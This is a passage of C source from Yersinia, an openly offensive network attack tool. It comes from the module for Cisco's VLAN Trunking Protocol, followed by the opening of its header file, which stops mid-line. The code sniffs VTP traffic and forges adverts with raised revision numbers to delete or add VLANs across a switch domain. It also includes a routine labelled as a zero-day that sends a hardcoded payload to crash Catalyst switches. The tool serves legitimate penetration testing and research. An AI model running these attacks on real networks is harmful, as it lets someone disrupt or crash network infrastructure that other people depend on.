VTP_SUBSET_ADVERT) ) continue; write_log(0," Domain %s\n",vtp_data_learned.domain); write_log(0," Dom_len %d\n",vtp_data_learned.dom_len); write_log(0," Followers %d\n",vtp_data_learned.followers); write_log(0," Revision %X\n",(vtp_data_learned.revision+1)); if (vtp_generate_md5( NULL, vtp_data->updater, (vtp_data_learned.revision+1), vtp_data_learned.domain, vtp_data_learned.dom_len, vlan_cisco, sizeof(vlan_cisco), vtp_data->md5, vtp_data_learned.version) < 0) break; vtp_data->code = VTP_SUMM_ADVERT; vtp_data->followers = 1; if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE) { vtp_data->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE); } else { vtp_data->dom_len = vtp_data_learned.dom_len; memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len); } vtp_data->revision = vtp_data_learned.revision+1; thread_usleep(200000); if (vtp_send(attacks)< 0) break; thread_usleep(200000); vtp_data->code = VTP_SUBSET_ADVERT; vtp_data->seq = 1; vtp_data->vlan_info = vlan_cisco; vtp_data->vlans_len = sizeof(vlan_cisco); vtp_send(attacks); break; } free(packet); vtp_th_dos_del_all_exit(attacks); } /* * Generate the MD5 hash for a VTP Summary-Advert packet */ int8_t vtp_generate_md5(char *secret, u_int32_t updater, u_int32_t revision, char *domain, u_int8_t dom_len, u_int8_t *vlans, u_int16_t vlans_len, u_int8_t *md5, u_int8_t version) { u_int8_t *data, md5_secret[16]; struct vtp_summary *vtp_summ; /* Space for the data (MD5+SUMM_ADVERT+VLANS+MD5)...*/ if ( (data = calloc(1, (16+sizeof(struct vtp_summary)+vlans_len+16))) == NULL) { thread_error("vtp_generate_md5 calloc()",errno); return -1; } /* Do MD5 secret...*/ if (secret) md5_sum(data, strlen(secret), md5_secret); vtp_summ = (struct vtp_summary *)(data+16); write_log(0,"Se calcula MD5 con version=%d\n",version); vtp_summ->version = version; vtp_summ->code = 0x01; if (dom_len > VTP_DOMAIN_SIZE) { vtp_summ->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_summ->domain,domain,VTP_DOMAIN_SIZE); } else { vtp_summ->dom_len = dom_len; memcpy(vtp_summ->domain,domain,dom_len); } vtp_summ->updater = htonl(updater); vtp_summ->revision = htonl(revision); if (vlans_len) memcpy((void *)(vtp_summ+1),vlans,vlans_len); if (secret) memcpy((void *)(data+16+sizeof(struct vtp_summary)+vlans_len),md5_secret,16); md5_sum(data, (32+sizeof(struct vtp_summary)+vlans_len), md5); free(data); return 0; } void vtp_th_dos_del_all_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /* * Delete 1 VTP vlan */ void vtp_th_dos_del(void *arg) { struct attacks *attacks=NULL; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("vtp_th_dos_del pthread_sigmask()",errno); vtp_th_dos_del_exit(attacks); } vtp_modify_vlan(VTP_VLAN_DEL,attacks); vtp_th_dos_del_exit(attacks); } void vtp_modify_vlan(u_int8_t op, struct attacks *attacks) { struct vtp_data *vtp_data, vtp_data_learned; struct pcap_pkthdr header; struct pcap_data pcap_aux; struct libnet_802_3_hdr *ether; struct attack_param *param=NULL; struct timeval now; u_int8_t *packet=NULL; char *vlan_name = NULL; u_int16_t *vlan=NULL; vtp_data = attacks->data; param = attacks->params; vlan = (u_int16_t *)param[VTP_PARAM_VLAN_ID].value; if (op == VTP_VLAN_ADD) vlan_name = (char *)param[VTP_PARAM_VLAN_NAME].value; gettimeofday(&now, NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; if ((packet = calloc(1, SNAPLEN)) == NULL) return; while (!attacks->attack_th.stop) { memset((void *)&vtp_data_learned,0,sizeof(struct vtp_data)); interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_VTP, NO_TIMEOUT); if (attacks->attack_th.stop) break; ether = (struct libnet_802_3_hdr *) packet; if (!memcmp(vtp_data->mac_source,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ pcap_aux.header = &header; pcap_aux.packet = packet; if (vtp_load_values(&pcap_aux, &vtp_data_learned) < 0) continue; if ((vtp_data_learned.code != VTP_SUMM_ADVERT) && (vtp_data_learned.code != VTP_SUBSET_ADVERT) ) continue; if (vtp_data_learned.code == VTP_SUMM_ADVERT) { if ( !vtp_data_learned.followers) { write_log(0,"vtp_attack: No followers. Sending Request...\n"); vtp_data->version = vtp_data_learned.version; vtp_data->code = VTP_REQUEST; if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE) { vtp_data->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE); } else { vtp_data->dom_len = vtp_data_learned.dom_len; memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len); } vtp_data->start_val = 1; if (vtp_send(attacks)< 0) break; } continue; } write_log(0," Domain %s\n",vtp_data_learned.domain); write_log(0," Dom_len %d\n",vtp_data_learned.dom_len); write_log(0," Revision %X\n",(vtp_data_learned.revision+1)); write_log(0," Vlan_len %d\n",vtp_data_learned.vlans_len); if (op == VTP_VLAN_DEL) { if (vtp_del_vlan(*vlan, vtp_data_learned.vlan_info, &vtp_data_learned.vlans_len) < 0) { write_log(0," vtp_del_attack: VLAN %d not existent. Aborting...\n",*vlan); break; } } else /* Add vlan...*/ { if (vtp_add_vlan(*vlan, vlan_name, &vtp_data_learned.vlan_info, &vtp_data_learned.vlans_len) < 0) { write_log(0," vtp_add_attack: VLAN %d existent. Aborting...\n",*vlan); break; } } if (vtp_generate_md5( NULL, vtp_data->updater, (vtp_data_learned.revision+1), vtp_data_learned.domain, vtp_data_learned.dom_len, vtp_data_learned.vlan_info, vtp_data_learned.vlans_len, vtp_data->md5, vtp_data_learned.version) < 0) break; vtp_data->version = vtp_data_learned.version; vtp_data->code = VTP_SUMM_ADVERT; vtp_data->followers = 1; if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE) { vtp_data->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE); } else { vtp_data->dom_len = vtp_data_learned.dom_len; memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len); } vtp_data->revision = vtp_data_learned.revision+1; if (vtp_send(attacks)< 0) break; thread_usleep(200000); vtp_data->version = vtp_data_learned.version; vtp_data->code = VTP_SUBSET_ADVERT; vtp_data->seq = 1; vtp_data->vlans_len = vtp_data_learned.vlans_len; vtp_data->vlan_info = vtp_data_learned.vlan_info; write_log(0," Vlan_len after = %d\n",vtp_data_learned.vlans_len); vtp_send(attacks); break; } free(packet); } int8_t vtp_del_vlan(u_int16_t vlan, u_int8_t *vlans, u_int16_t *vlen) { struct vlan_info *vlan_info, *vlan_info2; u_int8_t gotit=0, *cursor, *cursor2; u_int16_t len=0, vlans_len=0; vlans_len = *vlen; cursor = vlans; while( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len)) { vlan_info = (struct vlan_info *) cursor; if ((cursor+vlan_info->len) > (vlans+vlans_len)) break; if (ntohs(vlan_info->id) == vlan) { write_log(0,"VLAN gotit!!\n"); gotit=1; cursor+=vlan_info->len; len = vlans_len-vlan_info->len; if ( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len)) { cursor2 = (u_int8_t *)vlan_info; vlan_info2 = (struct vlan_info *) cursor2; if ((cursor2+vlan_info2->len) > (vlans+vlans_len)) { /* Oversized!! */ gotit=0; write_log(0," Oversized vlan length. Aborting...\n"); break; } write_log(0," *NOT* the last VLAN, moving %d bytes...\n", ( (vlans+vlans_len) - (cursor2+vlan_info->len))); memcpy((void *)vlan_info, (void *)(cursor2+vlan_info->len), ((vlans+vlans_len) - (cursor2+vlan_info->len))); } break; } cursor+=vlan_info->len; } if (!gotit) return -1; *vlen = len; return 0; } int8_t vtp_add_vlan(u_int16_t vlan, char *vlan_name, u_int8_t **vlans_ptr, u_int16_t *vlen) { struct vlan_info *vlan_info, *vlan_info2; u_int8_t *cursor, *cursor2, *aux, *vlans, *last_init=NULL; u_int16_t vlans_len, last_id=0, last_len=0; vlans = *vlans_ptr; vlans_len = *vlen; aux = (u_int8_t *)calloc(1,vlans_len+sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name))); if (aux == NULL) { thread_error("vtp_add_vlan calloc()", errno); return -1; } cursor = vlans; while( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len)) { vlan_info = (struct vlan_info *) cursor; if ((cursor+vlan_info->len) > (vlans+vlans_len)) break; if ( (ntohs(last_id)<= vlan) && (ntohs(vlan_info->id)>= vlan) ) { if (last_init == NULL) /* First VLAN */ { vlan_info = (struct vlan_info *) aux; vlan_info->len = sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name)); vlan_info->status = 0x00; vlan_info->type = VLAN_TYPE_ETHERNET; vlan_info->name_len = strlen(vlan_name); vlan_info->id = htons(vlan); vlan_info->mtu = htons(1500); vlan_info->dot10 = htonl(vlan+VTP_DOT10_BASE); memcpy((void *)(vlan_info+1),vlan_name,strlen(vlan_name)); /* Now copy all the rest of vlans...*/ memcpy((void *)(aux+vlan_info->len),vlans,vlans_len); *vlen = vlan_info->len+vlans_len; *vlans_ptr = aux; return 0; } cursor+=vlan_info->len; if ( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len)) { cursor2 = (u_int8_t *)vlan_info; vlan_info2 = (struct vlan_info *) cursor2; if ((cursor2+vlan_info2->len) > (vlans+vlans_len)) { /* Oversized!! */ write_log(0," Oversized vlan length. Aborting...\n"); free(aux); return -1; } memcpy(aux,(void *)*vlans_ptr,( (last_init+last_len) - vlans )); vlan_info = (struct vlan_info *) (aux+ ((last_init+last_len) - vlans)); vlan_info->len = sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name)); vlan_info->status = 0x00; vlan_info->type = VLAN_TYPE_ETHERNET; vlan_info->name_len = strlen(vlan_name); vlan_info->id = htons(vlan); vlan_info->mtu = htons(1500); vlan_info->dot10 = htonl(vlan+VTP_DOT10_BASE); memcpy((void *)(vlan_info+1),vlan_name,strlen(vlan_name)); cursor=(u_int8_t *)vlan_info; cursor+=vlan_info->len; memcpy(cursor, cursor2, (vlans+vlans_len)-cursor2 ); *vlen = vlan_info->len+vlans_len; *vlans_ptr = aux; return 0; } else /* Last VLAN... */ { free( aux ); return 0; } break; } /* We got it */ last_len = vlan_info->len; last_id = vlan_info->id; last_init = (u_int8_t *)vlan_info; cursor+=vlan_info->len; } /* Last VLAN...*/ memcpy((void *)aux,(void *)*vlans_ptr,vlans_len); vlan_info = (struct vlan_info *)(aux+vlans_len); vlan_info->len = sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name)); vlan_info->status = 0x00; vlan_info->type = VLAN_TYPE_ETHERNET; vlan_info->name_len = strlen(vlan_name); vlan_info->id = htons(vlan); vlan_info->mtu = htons(1500); vlan_info->dot10 = htonl(vlan+VTP_DOT10_BASE); memcpy((void *)(vlan_info+1),vlan_name,strlen(vlan_name)); *vlen = vlan_info->len+vlans_len; *vlans_ptr = aux; return 0; } void vtp_th_dos_del_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /* * Add 1 VTP vlan */ void vtp_th_dos_add(void *arg) { struct attacks *attacks = (struct attacks *)arg; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("vtp_th_dos_del pthread_sigmask()",errno); vtp_th_dos_add_exit(attacks); } vtp_modify_vlan(VTP_VLAN_ADD,attacks); vtp_th_dos_add_exit(attacks); } void vtp_th_dos_add_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /* * Zero day crashing Catalyst!! */ void vtp_th_dos_crash( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct vtp_data *vtp_data, vtp_data_learned; struct pcap_pkthdr header; struct pcap_data pcap_aux; struct libnet_802_3_hdr *ether; struct timeval now; u_int8_t *packet=NULL; sigset_t mask; /* Cisco vlans for crashing */ u_int8_t vlan_cisco[]={ 0x75, 0x00, 0x01, 0x07, 0x20, 0x00, 0x02, 0x0c, 0x03, 0xea, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8a, 0x66, 0x64, 0x64, 0x69, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x01, 0x01, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x28, 0x00, 0x03, 0x12, 0x03, 0xeb, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8b, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2d, 0x72, 0x69, 0x6e, 0x67, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x24, 0x00, 0x04, 0x0f, 0x03, 0xec, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8c, 0x66, 0x64, 0x64, 0x69, 0x6e, 0x65, 0x74, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x02, 0x01, 0x00, 0x00, 0x03, 0x01, 0x00, 0x01, 0x24, 0x00, 0x05, 0x0d, 0x03, 0xed, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8d, 0x74, 0x72, 0x6e, 0x65, 0x74, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x00, 0x00, 0x02, 0x01, 0x00, 0x00, 0x03, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x20 }; sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("vtp_th_dos_del_all pthread_sigmask()",errno); vtp_th_dos_crash_exit(attacks); } vtp_data = attacks->data; gettimeofday(&now, NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; if ((packet = calloc(1, SNAPLEN)) == NULL) vtp_th_dos_crash_exit(attacks); while (!attacks->attack_th.stop) { memset((void *)&vtp_data_learned,0,sizeof(struct vtp_data)); interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_VTP, NO_TIMEOUT); if (attacks->attack_th.stop) break; ether = (struct libnet_802_3_hdr *) packet; if (!memcmp(vtp_data->mac_source,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ pcap_aux.header = &header; pcap_aux.packet = packet; if (vtp_load_values(&pcap_aux, &vtp_data_learned) < 0) continue; if ((vtp_data_learned.code != VTP_SUMM_ADVERT) && (vtp_data_learned.code != VTP_SUBSET_ADVERT) ) continue; if (vtp_generate_md5( NULL, vtp_data->updater, (vtp_data_learned.revision+1), vtp_data_learned.domain, vtp_data_learned.dom_len, vlan_cisco, sizeof(vlan_cisco), vtp_data->md5, vtp_data_learned.version) < 0) break; vtp_data->code = VTP_SUMM_ADVERT; vtp_data->followers = 1; if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE) { vtp_data->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE); } else { vtp_data->dom_len = vtp_data_learned.dom_len; memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len); } vtp_data->revision = vtp_data_learned.revision+1; usleep(200000); if (vtp_send(attacks)< 0) break; usleep(200000); vtp_data->code = VTP_SUBSET_ADVERT; vtp_data->seq = 1; vtp_data->vlan_info = vlan_cisco; vtp_data->vlans_len = sizeof(vlan_cisco); vtp_send(attacks); break; } free(packet); vtp_th_dos_crash_exit(attacks); } void vtp_th_dos_crash_exit(struct attacks *attacks) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t vtp_init_attribs(struct term_node *node) { struct vtp_data *vtp_data; vtp_data = node->protocol[PROTO_VTP].tmp_data; attack_gen_mac(vtp_data->mac_source); vtp_data->mac_source[0] &= 0x0E; parser_vrfy_mac("01:00:0c:cc:cc:cc",vtp_data->mac_dest); vtp_data->version = VTP_DFL_VERSION; memcpy(vtp_data->domain, VTP_DFL_DOMAIN,sizeof(VTP_DFL_DOMAIN)); vtp_data->dom_len = VTP_DFL_DOM_LEN; vtp_data->code = VTP_DFL_CODE; vtp_data->start_val = 1; vtp_data->revision = 1; vtp_data->followers = 1; vtp_data->seq = 1; vtp_data->updater = ntohl(inet_addr("10.13.58.1")); return 0; } int8_t vtp_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header) { struct vtp_data *vtp_data = (struct vtp_data *)data; struct interface_data *iface_data; struct pcap_data pcap_aux; u_int8_t *packet, got_vtp_packet = 0; int8_t ret = -1 ; dlist_t *p; if (iface) { p = dlist_search( attacks->used_ints->list, attacks->used_ints->cmp, iface ); if ( !p ) return -1; iface_data = (struct interface_data *) dlist_data(p); } else iface_data = NULL; packet = (u_int8_t *)calloc( 1, SNAPLEN ); if ( packet ) { while ( !got_vtp_packet && !(*stop) ) { interfaces_get_packet( attacks->used_ints, iface_data, stop, header, packet, PROTO_VTP, NO_TIMEOUT ); if ( ! (*stop) ) { pcap_aux.header = header; pcap_aux.packet = packet; if ( !vtp_load_values( (struct pcap_data *)&pcap_aux, vtp_data ) ) { got_vtp_packet = 1; ret = 0 ; } } } free( packet ); } return ret ; } /* * Return formated strings of each VTP field */ char ** vtp_get_printable_packet(struct pcap_data *data) { struct libnet_802_3_hdr *ether; u_int8_t *vtp_data, *ptr, *code; u_int32_t *aux_long; u_int16_t *aux_short; #ifdef LBL_ALIGN u_int32_t aux_long2; u_int8_t *aux2; #endif char **field_values; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_VTP].nparams, protocols[PROTO_VTP].parameters)) == NULL) { thread_error("vtp_get_rpintable calloc()",errno); return NULL; } ether = (struct libnet_802_3_hdr *) data->packet; vtp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H); /* Source MAC */ snprintf(field_values[VTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); /* Destination MAC */ snprintf(field_values[VTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2], ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]); ptr = vtp_data; /* VTP Version */ snprintf(field_values[VTP_VERSION], 3, "%02X", *ptr); ptr++; code = ptr; snprintf(field_values[VTP_CODE], 3, "%02X", *code); /* VTP code */ if (*code == VTP_SUMM_ADVERT) snprintf(field_values[VTP_FOLLOWERS], 4, "%03d", *(ptr+1)); if (*code == VTP_SUBSET_ADVERT) snprintf(field_values[VTP_SEQ], 4, "%03d", *(ptr+1)); ptr+=2; if (*ptr < 24)/*VTP_DOMAIN_SIZE )*/ { memcpy(field_values[VTP_DOMAIN], (ptr+1), *ptr); field_values[VTP_DOMAIN][*ptr]=0; } else { memcpy(field_values[VTP_DOMAIN], (ptr+1), 24); field_values[VTP_DOMAIN][24]=0; field_values[VTP_DOMAIN][23]='|'; } ptr+=33; aux_long = (u_int32_t *)ptr; switch(*code) { case VTP_SUMM_ADVERT: snprintf(field_values[VTP_REVISION], 11, "%010u", ntohl(*aux_long)); aux_long++; #ifdef LBL_ALIGN memcpy((void *)&aux_long2, (void *)aux_long,4); aux2 = libnet_addr2name4(aux_long2, LIBNET_DONT_RESOLVE); strncpy(field_values[VTP_UPDATER],aux2,16); #else /* Source IP */ strncpy(field_values[VTP_UPDATER], libnet_addr2name4(*aux_long, LIBNET_DONT_RESOLVE), 16); #endif aux_long++; memcpy(field_values[VTP_TIMESTAMP],(void *)aux_long, 12); aux_long+=3; ptr = (u_int8_t *)aux_long; snprintf(field_values[VTP_MD5], 24, "%02X%02X%02X%02X%02X%02X%02X%02X|", *ptr, *(ptr+1),*(ptr+2),*(ptr+3),*(ptr+4), *(ptr+5), *(ptr+6),*(ptr+7));/*,*(ptr+8)),*(ptr+9), *(ptr+10)); *(ptr+11),*(ptr+12),*(ptr+13),*(ptr+14),*(ptr+15));*/ break; case VTP_SUBSET_ADVERT: snprintf(field_values[VTP_REVISION], 11, "%010u", ntohl(*aux_long)); field_values[VTP_MD5][0]=0; field_values[VTP_UPDATER][0] = 0; break; case VTP_JOIN: field_values[VTP_MD5][0] = 0; field_values[VTP_REVISION][0] = 0; field_values[VTP_UPDATER][0] = 0; break; case VTP_REQUEST: aux_short = (u_int16_t *)aux_long; snprintf(field_values[VTP_STARTVAL], 6, "%05hd", ntohs(*aux_short)); field_values[VTP_MD5][0] = 0; field_values[VTP_REVISION][0] = 0; field_values[VTP_UPDATER][0] = 0; break; } return field_values; } char ** vtp_get_printable_store(struct term_node *node) { struct vtp_data *vtp_tmp; char **field_values; /* smac + dmac + version + code + domain + md5 + updater + revision + * timestamp + startval + followers + null = 12 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_VTP].nparams, protocols[PROTO_VTP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) vtp_tmp = protocols[PROTO_VTP].default_values; else vtp_tmp = (struct vtp_data *) node->protocol[PROTO_VTP].tmp_data; /* Source MAC */ snprintf(field_values[VTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", vtp_tmp->mac_source[0], vtp_tmp->mac_source[1], vtp_tmp->mac_source[2], vtp_tmp->mac_source[3], vtp_tmp->mac_source[4], vtp_tmp->mac_source[5]); /* Destination MAC */ snprintf(field_values[VTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", vtp_tmp->mac_dest[0], vtp_tmp->mac_dest[1], vtp_tmp->mac_dest[2], vtp_tmp->mac_dest[3], vtp_tmp->mac_dest[4], vtp_tmp->mac_dest[5]); snprintf(field_values[VTP_VERSION], 3, "%02X", vtp_tmp->version); snprintf(field_values[VTP_CODE], 3, "%02X", vtp_tmp->code); memcpy(field_values[VTP_DOMAIN], vtp_tmp->domain, VTP_DOMAIN_SIZE); snprintf(field_values[VTP_MD5], 33, "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", vtp_tmp->md5[0],vtp_tmp->md5[1],vtp_tmp->md5[2], vtp_tmp->md5[3],vtp_tmp->md5[4],vtp_tmp->md5[5], vtp_tmp->md5[6],vtp_tmp->md5[7],vtp_tmp->md5[8], vtp_tmp->md5[9],vtp_tmp->md5[10],vtp_tmp->md5[11], vtp_tmp->md5[12],vtp_tmp->md5[13],vtp_tmp->md5[14], vtp_tmp->md5[15]); parser_get_formated_inet_address(vtp_tmp->updater, field_values[VTP_UPDATER], 16); snprintf(field_values[VTP_REVISION], 11, "%010u", vtp_tmp->revision); memcpy(field_values[VTP_TIMESTAMP], vtp_tmp->timestamp, 12); snprintf(field_values[VTP_STARTVAL], 6, "%05hd", vtp_tmp->start_val); snprintf(field_values[VTP_FOLLOWERS], 4, "%03d", vtp_tmp->followers); snprintf(field_values[VTP_SEQ], 4, "%03d", vtp_tmp->seq); return field_values; } /* * Load values from packet to data. */ int8_t vtp_load_values(struct pcap_data *data, void *values) { struct libnet_802_3_hdr *ether; struct vtp_data *vtp; u_int8_t *vtp_data, *ptr; u_int32_t *aux_long; u_int16_t *aux_short; #ifdef LBL_ALIGN u_int32_t aux_long2; u_int16_t *aux_short2; #endif vtp = (struct vtp_data *)values; ether = (struct libnet_802_3_hdr *) data->packet; vtp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H); /* Source MAC */ memcpy(vtp->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(vtp->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN); ptr = vtp_data; if ( (ptr+sizeof(struct vtp_request)) > (data->packet + data->header->caplen)) return -1; /* Undersized packet...*/ /* VTP Version */ vtp->version = *ptr; ptr++; /* VTP code */ vtp->code = *ptr; ptr++; switch (vtp->code) { case VTP_SUMM_ADVERT: vtp->followers = *ptr; break; case VTP_SUBSET_ADVERT: vtp->seq = *ptr; break; } ptr++; if (*ptr < VTP_DOMAIN_SIZE ) { vtp->dom_len = *ptr; memcpy(vtp->domain, (ptr+1), *ptr); vtp->domain[*ptr]=0; } else { vtp->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp->domain, (ptr+1), VTP_DOMAIN_SIZE); vtp->domain[VTP_DOMAIN_SIZE]= '\0'; } ptr+=33; aux_long = (u_int32_t *)ptr; switch(vtp->code) { case VTP_SUMM_ADVERT: #ifdef LBL_ALIGN memcpy((void *)&aux_long2, (void *)aux_long, 4); vtp->revision = ntohl(aux_long2); #else vtp->revision = ntohl(*aux_long); #endif aux_long++; #ifdef LBL_ALIGN memcpy((void *)&aux_long2, (void *)aux_long, 4); vtp->updater = ntohl(aux_long2); #else vtp->updater = ntohl(*aux_long); #endif aux_long++; memcpy(vtp->timestamp,(void *)aux_long, 12); aux_long+=3; memcpy(vtp->md5, (void *)aux_long,16); break; case VTP_SUBSET_ADVERT: #ifdef LBL_ALIGN memcpy((void *)&aux_long2, (void *)aux_long, 4); vtp->revision = ntohl(aux_long2); #else vtp->revision = ntohl(*aux_long); #endif vtp->vlans_len = (data->packet + data->header->caplen) - (ptr+4); vtp->vlan_info = (ptr+4); break; case VTP_REQUEST: aux_short = (u_int16_t *)ptr; #ifdef LBL_ALIGN memcpy((void *)&aux_short2, (void *)aux_short, 4); vtp->start_val = ntohs(aux_short2); #else vtp->start_val = ntohs(*aux_short); #endif break; case VTP_JOIN: break; } return 0; } int8_t vtp_update_field(int8_t state, struct term_node *node, void *value) { struct vtp_data *vtp_data; u_int16_t len; if (node == NULL) vtp_data = protocols[PROTO_VTP].default_values; else vtp_data = node->protocol[PROTO_VTP].tmp_data; switch(state) { /* Source MAC */ case VTP_SMAC: memcpy((void *)vtp_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case VTP_DMAC: memcpy((void *)vtp_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Version */ case VTP_VERSION: vtp_data->version = *(u_int8_t *)value; break; /* Code */ case VTP_CODE: vtp_data->code = *(u_int8_t *)value; break; /* Followers */ case VTP_FOLLOWERS: vtp_data->followers = *(u_int8_t *)value; break; /* Seq */ case VTP_SEQ: vtp_data->seq = *(u_int8_t *)value; break; /* Domain */ case VTP_DOMAIN: len = strlen(value); strncpy(vtp_data->domain, value, (len > VTP_DOMAIN_SIZE) ? VTP_DOMAIN_SIZE : len); vtp_data->dom_len = (len > VTP_DOMAIN_SIZE) ? VTP_DOMAIN_SIZE : len; break; /* Start value */ case VTP_STARTVAL: vtp_data->start_val = *(u_int16_t *)value; break; /* Revision */ case VTP_REVISION: vtp_data->revision = *(u_int32_t *)value; break; /* Updater */ case VTP_UPDATER: vtp_data->updater = *(u_int32_t *)value; break; /* Timestamp */ case VTP_TIMESTAMP: len = strlen(value); strncpy((char *)vtp_data->timestamp, value, (len > VTP_TIMESTAMP_SIZE) ? VTP_TIMESTAMP_SIZE : len); break; /* MD5 */ case VTP_MD5: memcpy((void *)vtp_data->md5, (void *)value, 16); break; } return 0; } int8_t vtp_end(struct term_node *node) { return 0; }
C/C++
yersinia/src/vtp.h
/* vtp.h * Definitions for Cisco's VLAN Trunking Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __VTP_H__ #define __VTP_H__ #include <libnet.h> #include "terminal-defs.h" #include "interfaces.h" #define VTP_SUMM_ADVERT 0x01 #define VTP_SUBSET_ADVERT 0x02 #define VTP_REQUEST 0x03 #define VTP_JOIN 0x04 static const struct tuple_type_desc vtp_code[] = { { VTP_SUMM_ADVERT, "SUMMARY" }, { VTP_SUBSET_ADVERT, "SUBSET" }, { VTP_REQUEST, "REQUEST" }, { VTP_JOIN, "JOIN" }, { 0, NULL } }; #define VLAN_TYPE_ETHERNET 0x01 #define VLAN_TYPE_FDDI 0x02 #define VLAN_TYPE_TRCRF 0x03 #define VLAN_TYPE_FDDI_NET 0x04 #define 